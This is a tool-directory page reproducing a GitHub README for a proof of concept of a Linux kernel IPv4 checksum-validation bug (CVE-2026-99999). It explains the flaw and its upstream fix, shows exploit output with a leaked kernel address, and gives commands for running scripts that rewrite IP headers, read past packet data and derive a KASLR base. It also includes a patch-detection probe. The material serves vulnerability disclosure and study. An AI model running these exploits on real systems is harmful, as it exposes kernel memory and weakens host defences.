Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-99999-pwnescape — Reproduction and analysis of the Linux IPv4 csum_start validation bug (CVE-2026-99999): header rewrite, 32-byte heap disclosure, leak oracle and KASLR defeat. | Kitploit
Tools/GitHubGitHub/gandli/cve-2026-99999-pwnescape
Memory ForensicsVulnerability AnalysisExploitationNetwork SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubgandli/cve-2026-99999-pwnescape

CVE-2026-99999-pwnescape

Reproduction and analysis of the Linux IPv4 csum_start validation bug (CVE-2026-99999): header rewrite, 32-byte heap disclosure, leak oracle and KASLR defeat.

View Repository
22117 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-99999 (PwnEscape): a deferred checksum write rewrites the IPv4 header the kernel already parsed

English · 简体中文

Reproduction of the Linux IPv4 csum_start validation bug fixed by 6785011f8b16 ("ipv4: validate checksum_start before completing checksum"). Given code execution inside a guest VM, an unprivileged process on a prepared TAP rewrites a header the kernel has already parsed, then reads 32 bytes past the packet's linear data.

Preconditioncode execution inside the guest VM — not remote, not pre-auth
Reproduced on6.18.54.1-microsoft-standard-WSL2
Affected kernelsevery release below its branch fix — KERNELS.md
Fixed in6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11
CVSS 3.19.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Upstream fix6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin)
Reported byPaulos Yibelo (pwn.ai)
Prebuiltv1.0.0 static binaries

Proof

$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
  frag 0: first=0x4f ihl=60B tot_len=196
    options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
    past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options

The first byte is 0x4f instead of 0x45 — version 4, header length 15 words instead of 5. The eight a5 bytes are the marker this reproducer wrote into the fragment; everything after them is not part of the packet. a9 cb 43 9e 88 ff ff reads as 0xffff889e43cba9, a kernel direct-map address.

Mechanism

Three stages: inject a frame with csum_start at byte 22, reassemble two fragments into a 28-byte linear head, then copy a 60-byte header and read 32 bytes past it

skb_checksum_help() turns checksum metadata into a write:

write address = skb->head + csum_start + csum_offset

Nothing before the fix checked that csum_start sits after the IPv4 header. The admission check compares the transport offset against a minimum header length measured from the current skb->data — a frame-relative coordinate:

/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
        return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len)   /* 20 bytes */
        return -EINVAL;

For a frame of [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22 gives skb_transport_offset() == 22 >= 20, so the metadata is accepted, while the real distance from the network header is 0. The two VLAN tags are stripped in the receive path, so the frame-relative coordinate survives into L3 and the deferred write lands on version/ihl.

Ordering is the other half. ip_do_fragment() completed the pending checksum before reading iph->ihl:

/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
        goto fail;

iph = ip_hdr(skb);
...
hlen = iph->ihl * 4;          /* now 60, not 20 */

The header was validated as 20 bytes; the consumer reads 15 words from the same memory. skb_checksum_help() is not at fault — the metadata was allowed to describe a different packet than the one that exists.

The fix adds a network-relative bound and calls it before every completion site:

static inline int ip_check_csum_start(const struct sk_buff *skb)
{
        if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
                return -EINVAL;
        return 0;
}

With C = csum_start, N = network_header, H = ip_hdrlen and O >= 0, requiring C >= N + H means the write C + O can no longer reach the header.

Quick start

Privileged container on a vulnerable kernel (the kernel is what matters):

docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh

# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify

# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee

On a bare-metal test host or VM: sudo sh lab/setup.sh, then run the same commands as root in that network namespace. Requires /dev/net/tun, nf_conntrack, nf_defrag_ipv4, ip and nft.

The lab

lab/setup.sh builds a TAP for injection and a veth pair for egress:

              inject                       forward + defrag          egress
  userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
  (virtio_net_hdr,       |                  conntrack defrag        MTU 200
   csum_start=22)        |                  nft prerouting -450         │
                         └── two fragments reassembled ────────────────┤
                             into a 28-byte linear head                ▼
                                                                     pwnv1
                                                                  (capture)

The nft ct rule registers nf_defrag_ipv4, so the two fragments are reassembled before the forwarding path fragments them again. Anything looping back in on pwnv1 is dropped. lab/teardown.sh removes it all.

What the numbers mean

The offset-0 fragment carries 8 bytes, so after reassembly the logical linear head is 20 + 8 = 28 bytes while the fragmenter copies ihl * 4 = 60:

[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
                            └─ copied into the fragments' IPv4 options

overrun = 60 - (20 + head), so --head 40 is the control case (no bytes cross the boundary) and --head 8 gives the 32-byte disclosure.

On the slab path the tail is zeroed by CONFIG_INIT_ON_ALLOC_DEFAULT_ON and the leak reads as 00. --page moves the skb head onto a recycled page_frag, where the tail still holds what the page held before.

Detection and exploitation

python3 exp/probe.py --passive        # version verdict, no packets
python3 exp/probe.py --active         # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24       # repeatable 32-byte disclosure + physmap KASLR base

probe.py compares a control datagram with well-formed checksum metadata against one whose csum_start sits on the IPv4 header: header rewritten → vulnerable, test dropped by the guard → patched, nothing captured → lab problem. leak.py repeats the over-read, extracts canonical kernel pointers and derives the physmap KASLR base.

Download Tool